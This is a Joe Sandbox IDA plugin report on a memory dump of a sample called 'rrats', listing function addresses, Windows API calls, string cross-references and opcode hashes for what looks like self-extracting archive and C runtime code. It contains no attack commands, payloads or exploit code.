Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1927e44403426dd47d8da2a9ad005236d3022cbc013fd68b0b357ac8fd759f3f
Instruction ID: 9c2f1a747d95d5db2e4fb68c41e2aa7d8521b2fe92bb910dff2b6a39fcd51536
Opcode Fuzzy Hash: 1927e44403426dd47d8da2a9ad005236d3022cbc013fd68b0b357ac8fd759f3f
Instruction Fuzzy Hash: 16A011C22E8802BC3008220A2C02CFB020EC0C2F28B308A2EFA02800C0A8800C0AA832

Function 00CBE573 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE580

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3b9c5d61b8d515353725ac1827333834c26783c6152d7223111bd4ab58575cf7
Instruction ID: 79400f077364a50ef3269ff85aa8dd20b0a00a644bb75bb539f8efdefedc21c5
Opcode Fuzzy Hash: 3b9c5d61b8d515353725ac1827333834c26783c6152d7223111bd4ab58575cf7
Instruction Fuzzy Hash: 8AA022C22E80023C3008A2B32C83CFB022EC8E0F2AB30823FF800C00C0BC800C0AA830

Function 00CBAC04 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,00CBAE72,C:\Users\user\Desktop,00000000,00CE946A,00000006), ref: 00CBAC08

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 19ed4050d8e8f5be59584b4c0446e8ae198553c793176a51599a52861a7d7142
Instruction ID: 725f5fef40c77bdb342b9435135ca5cea3a2eecd6613c447e5b744bbd5a59583
Opcode Fuzzy Hash: 19ed4050d8e8f5be59584b4c0446e8ae198553c793176a51599a52861a7d7142
Instruction Fuzzy Hash: 4EA001712062829B96015B329F4AB4EBBAAAFA2B51F05C42AA54588170DB35C960AA16

Function 00CA9620 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,00CA95D6,?,?,?,?,?,00CD2641,000000FF), ref: 00CA963B

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 3717c3fb60f43547584ca069b8da434ec63245da59560cb402971ccf1eba4361
Instruction ID: d4c90e78c9c44ed068a9d3052c694641cdd370292ad025d28c969608e0bb6e36
Opcode Fuzzy Hash: 3717c3fb60f43547584ca069b8da434ec63245da59560cb402971ccf1eba4361
Instruction Fuzzy Hash: E3F0E270082B469FDB308A20C549B92B7E8EF13329F081B1EE0F3429E0D3706ACD9A40

Non-executed Functions

Function 00CBC220 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA1316: GetDlgItem.USER32(00000000,00003021), ref: 00CA135A
Part of subcall function 00CA1316: SetWindowTextW.USER32(00000000,00CD35F4), ref: 00CA1370

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00CBC2B1
EndDialog.USER32(?,00000006), ref: 00CBC2C4
GetDlgItem.USER32(?,0000006C), ref: 00CBC2E0
SetFocus.USER32(00000000), ref: 00CBC2E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 00CBC321
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00CBC358
FindFirstFileW.KERNEL32(?,?), ref: 00CBC36E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00CBC38C
FileTimeToSystemTime.KERNEL32(?,?), ref: 00CBC39C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00CBC3B8
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00CBC3D4
_swprintf.LIBCMT ref: 00CBC404

Part of subcall function 00CA4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CA40A5

SetDlgItemTextW.USER32(?,0000006A,?), ref: 00CBC417
FindClose.KERNEL32(00000000), ref: 00CBC41E
_swprintf.LIBCMT ref: 00CBC477
SetDlgItemTextW.USER32(?,00000068,?), ref: 00CBC48A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00CBC4A7
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 00CBC4C7
FileTimeToSystemTime.KERNEL32(?,?), ref: 00CBC4D7
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00CBC4F1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00CBC509
_swprintf.LIBCMT ref: 00CBC535
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00CBC548
_swprintf.LIBCMT ref: 00CBC59C
SetDlgItemTextW.USER32(?,00000069,?), ref: 00CBC5AF

Part of subcall function 00CBAF0F: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00CBAF35
Part of subcall function 00CBAF0F: GetNumberFormatW.KERNEL32(00000400,00000000,?,00CDE72C,?,?), ref: 00CBAF84

Strings

%s %s %s, xrefs: 00CBC3F2, 00CBC527
REPLACEFILEDLG, xrefs: 00CBC247
%s %s, xrefs: 00CBC469, 00CBC58E

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: f31b3cbdc12afdf2f0d8e24161f2f6147be993d08e61b92ebe2fd0ba4b6aa556
Instruction ID: 2039ee8dcdee20ba97ed0d6f6813b86e66fe937e1b33bf2c6d83e2d5a1d25bec
Opcode Fuzzy Hash: f31b3cbdc12afdf2f0d8e24161f2f6147be993d08e61b92ebe2fd0ba4b6aa556
Instruction Fuzzy Hash: 4E917172648349BBE2219BA0CC89FFF77ACEB4A704F044819B749D6181D775AA049B73

Function 00CA6FAA Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 328fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CA6FAA
_wcslen.LIBCMT ref: 00CA7013
_wcslen.LIBCMT ref: 00CA7084

Part of subcall function 00CA7A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00CA7AAB
Part of subcall function 00CA7A9C: GetLastError.KERNEL32 ref: 00CA7AF1
Part of subcall function 00CA7A9C: CloseHandle.KERNEL32(?), ref: 00CA7B00

Part of subcall function 00CAA1E0: DeleteFileW.KERNELBASE(000000FF,?,?,00CA977F,?,?,00CA95CF,?,?,?,?,?,00CD2641,000000FF), ref: 00CAA1F1
Part of subcall function 00CAA1E0: DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,00CA977F,?,?,00CA95CF,?,?,?,?,?,00CD2641), ref: 00CAA21F

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,?,00000001,?), ref: 00CA7139
CloseHandle.KERNEL32(00000000), ref: 00CA7155
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00CA7298

Part of subcall function 00CA9DA2: FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00CA73BC,?,?,?,00000000), ref: 00CA9DBC
Part of subcall function 00CA9DA2: SetFileTime.KERNELBASE(?,?,?,?), ref: 00CA9E70

Part of subcall function 00CA9620: CloseHandle.KERNELBASE(000000FF,?,?,00CA95D6,?,?,?,?,?,00CD2641,000000FF), ref: 00CA963B

Part of subcall function 00CAA4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00CAA325,?,?,?,00CAA175,?,00000001,00000000,?,?), ref: 00CAA501
Part of subcall function 00CAA4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00CAA325,?,?,?,00CAA175,?,00000001,00000000,?,?), ref: 00CAA532

Strings

UNC\, xrefs: 00CA7051
\??\, xrefs: 00CA702B
SeRestorePrivilege, xrefs: 00CA6FC2
SeCreateSymbolicLinkPrivilege, xrefs: 00CA6FCC

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: File$CloseHandle$AttributesCreateDelete_wcslen$BuffersCurrentErrorFlushH_prologLastProcessTime
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3983180755-3508440684
Opcode ID: 54c17d03f59becc9dcb8a61d1c9c4aa96c5034dddd0be4cd66840f7c2f9da862
Instruction ID: 08d419305b4f6166b7f805857684c725c2ca18e62bfc1db830bcec15feaf8c4f
Opcode Fuzzy Hash: 54c17d03f59becc9dcb8a61d1c9c4aa96c5034dddd0be4cd66840f7c2f9da862
Instruction Fuzzy Hash: 87C1F671D04646AEDB21DB74CD81FEEB3A8BF05308F04465AFA56E3282D734AB44DB61

Function 00CCD8EE Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00CCDA34

Strings

1#SNAN, xrefs: 00CCEC33
1#INF, xrefs: 00CCEC41
1#QNAN, xrefs: 00CCEC3A
1#IND, xrefs: 00CCEC2C

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 56572648f5578abcc54e5af9c6105ce2cc0962c849cc100adf43838f49499196
Instruction ID: acaf3d282290b71dd22dce5aa9a6266d9c423fa27db38f535bececcc449d75ea
Opcode Fuzzy Hash: 56572648f5578abcc54e5af9c6105ce2cc0962c849cc100adf43838f49499196
Instruction Fuzzy Hash: 11C23972E086288FDB25CE28DD40BEAB7B5EB45305F1541EED85EE7240E775AE818F40

Function 00CA32F7 Relevance: 9.4, APIs: 2, Strings: 3, Instructions: 608COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CA3300
_swprintf.LIBCMT ref: 00CA36C7

Strings

hc%u, xrefs: 00CA370A
CMT, xrefs: 00CA3A17
h%u, xrefs: 00CA36BC

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: H_prolog_swprintf
String ID: CMT$h%u$hc%u
API String ID: 146138363-3282847064
Opcode ID: adb0ee080e3ee71c34e7cc1a6327e35fd7cff2541c6fbf63aa99995f9308d9d7
Instruction ID: ad406c9547fbff3279ae05189fdabb5fb500e573eeb3ac8959e3e61a05839249
Opcode Fuzzy Hash: adb0ee080e3ee71c34e7cc1a6327e35fd7cff2541c6fbf63aa99995f9308d9d7
Instruction Fuzzy Hash: 5832F8715103869FDF14DF74C8A5AE93BA5AF16308F08047DFD9A8B283DB749A49CB60

Function 00CA286B Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 798COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CA2874
_strlen.LIBCMT ref: 00CA2E3F

Part of subcall function 00CB02BA: __EH_prolog.LIBCMT ref: 00CB02BF

Part of subcall function 00CB1B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00CABAE9,00000000,?,?,?,0001046A), ref: 00CB1BA0

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00CA2F91

Strings

CMT, xrefs: 00CA2FBC

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: H_prolog$ByteCharMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1206968400-2756464174
Opcode ID: 274f9fa9733736d25d105ce48a829e17c547c4fd505730aed28f7575b3aae032
Instruction ID: 21d0624932639886989113e42201e11580dec51a4d9f7298c90350dc2869e111
Opcode Fuzzy Hash: 274f9fa9733736d25d105ce48a829e17c547c4fd505730aed28f7575b3aae032
Instruction Fuzzy Hash: 78624A715002968FDB19CF38C8957EA37A1EF56308F08457EFCAA8B283D7759A45CB60

Function 00CBF838 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00CBF844
IsDebuggerPresent.KERNEL32 ref: 00CBF910
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00CBF930
UnhandledExceptionFilter.KERNEL32(?), ref: 00CBF93A

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 245ad67ea0ae82be83ac1e40fd9e22694cc909971c62f8cb0ef73371c8f8863b
Instruction ID: 2f71cf6470fd34a23f3ee7ab7b8892e2e8a314f073cb22a7f3a6e68f24debc68
Opcode Fuzzy Hash: 245ad67ea0ae82be83ac1e40fd9e22694cc909971c62f8cb0ef73371c8f8863b
Instruction Fuzzy Hash: D2312775D063199BDF21DFA4DD89BCCBBB8AF08304F1040AAE40CAB250EB719B859F45

Function 00CBE6A3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32(80000000,00CBE5E8,0000001C,00CBE7DD,00000000,?,?,?,?,?,?,?,00CBE5E8,00000004,00D01CEC,00CBE86D), ref: 00CBE6B4
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00CBE5E8,00000004,00D01CEC,00CBE86D), ref: 00CBE6CF

Strings

D, xrefs: 00CBE6C3

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: 584ec3f361e96e69f5b0fb248c969afa05c3379a8a7fb42fe37c3f51a3987e00
Instruction ID: 59955b587bdf4f2769ab3a948b7085f11fcf9ea6b223ca72064e682746ba31c5
Opcode Fuzzy Hash: 584ec3f361e96e69f5b0fb248c969afa05c3379a8a7fb42fe37c3f51a3987e00
Instruction Fuzzy Hash: 89012B326001096BDF14DF29DC09BED7BAEEFC4324F0CC121ED29E7251DA38DA058680

Function 00CC8EBD Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00CC8FB5
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00CC8FBF
UnhandledExceptionFilter.KERNEL32(-00000325,?,?,?,?,?,00000000), ref: 00CC8FCC

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: f920a7cfc3e8aacee4ffde55de3eb5a87c303eb1735d8e14a1b6a91b8768c62b
Instruction ID: e173534787a22aeaaa0e87d60989fa1db3ed23d34f734c05cfc4eb8701a2a01d
Opcode Fuzzy Hash: f920a7cfc3e8aacee4ffde55de3eb5a87c303eb1735d8e14a1b6a91b8768c62b
Instruction Fuzzy Hash: 1D31C275901229ABCB21DF68DC89BDDBBB8AF48310F5041EAE41CA7250EB709F858F55

Function 00CCB348 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

., xrefs: 00CCB4DB

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 1e1560f7bb6d8aea14d77d7346ddae0a236274da3ddada5011457db606609066
Instruction ID: 8dbe0796bbee5fc6e461fe488332b62a7127fdf3bcc76389afabdb6c2743b7a2
Opcode Fuzzy Hash: 1e1560f7bb6d8aea14d77d7346ddae0a236274da3ddada5011457db606609066
Instruction Fuzzy Hash: A531E6719002496FCB28DEB8CC85FFB7BBDDB85314F1441ACE92997252EB309E459B50

Function 00CCD440 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
Instruction ID: c6284ee5487deb50fad0ebce37c42d731e55e94a319bc17cbcf416f86d01abfa
Opcode Fuzzy Hash: aeb1b63111f38c8b5239956e5f87fb8bcb0c35bf5c950da3c1a86b78fccd596c
Instruction Fuzzy Hash: 1502FC71E002199BDF14DFA9D980BADB7F1EF48314F25816EE91AE7384D731AA41CB90

Function 00CBAF0F Relevance: 3.0, APIs: 2, Instructions: 45COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00CBAF35
GetNumberFormatW.KERNEL32(00000400,00000000,?,00CDE72C,?,?), ref: 00CBAF84

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 420ee20afe06dc38b0ba399e2350d28c0c5d8a4c5ab884e937297fe6921e1abf
Instruction ID: 2d67d9677fbc8055bee64332ed5e28888d5c95e43316d974a205c65810466b91
Opcode Fuzzy Hash: 420ee20afe06dc38b0ba399e2350d28c0c5d8a4c5ab884e937297fe6921e1abf
